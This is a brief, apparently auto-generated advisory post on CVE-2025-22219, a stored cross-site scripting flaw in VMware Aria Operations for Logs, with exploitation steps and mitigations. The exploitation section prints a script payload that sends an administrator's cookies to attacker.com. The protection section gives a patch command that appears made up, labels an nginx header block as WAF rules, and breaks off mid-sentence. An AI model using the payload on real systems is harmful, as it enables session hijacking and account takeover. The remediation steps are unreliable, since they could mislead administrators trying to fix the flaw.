VMware Aria Operations for Logs, Stored Cross-Site Scripting, CVE-2025-22219 (Critical)

By /

Listen to this Post

How CVE-2025-22219 Works

VMware Aria Operations for Logs fails to properly sanitize user-supplied input in log entries, allowing a non-admin user to inject malicious JavaScript payloads. When an administrator views the compromised logs via the web interface, the script executes in their session, enabling privilege escalation. The attack persists due to stored XSS in the logging database, triggering upon each log review.

DailyCVE Form

Platform: VMware Aria Operations
Version: Logs 8.12.x
Vulnerability: Stored XSS
Severity: Critical
Date: 05/14/2025

What Undercode Say:

Exploitation:

1. Payload Injection:

<script>fetch(`https://attacker.com/steal?cookie=${document.cookie}`)</script>

Injected via log submission.

2. Admin Trigger:

Malicious script fires when admin accesses logs via /ui/logviewer.

3. Session Hijacking:

Attacker captures admin cookies for full control.

Protection:

1. Input Sanitization:

import bleach
cleaned_log = bleach.clean(raw_log, tags=[], attributes={})

2. VMware Patch:

sudo vRealize-log-manager --update --patch CVE-2025-22219

3. WAF Rules:

location /ui/logviewer {
add_header Content-Security-Policy "default-src 'self'";
}

4. Mitigation:

  • Disable non-admin log submissions.
  • Audit logs for `
    Scroll to Top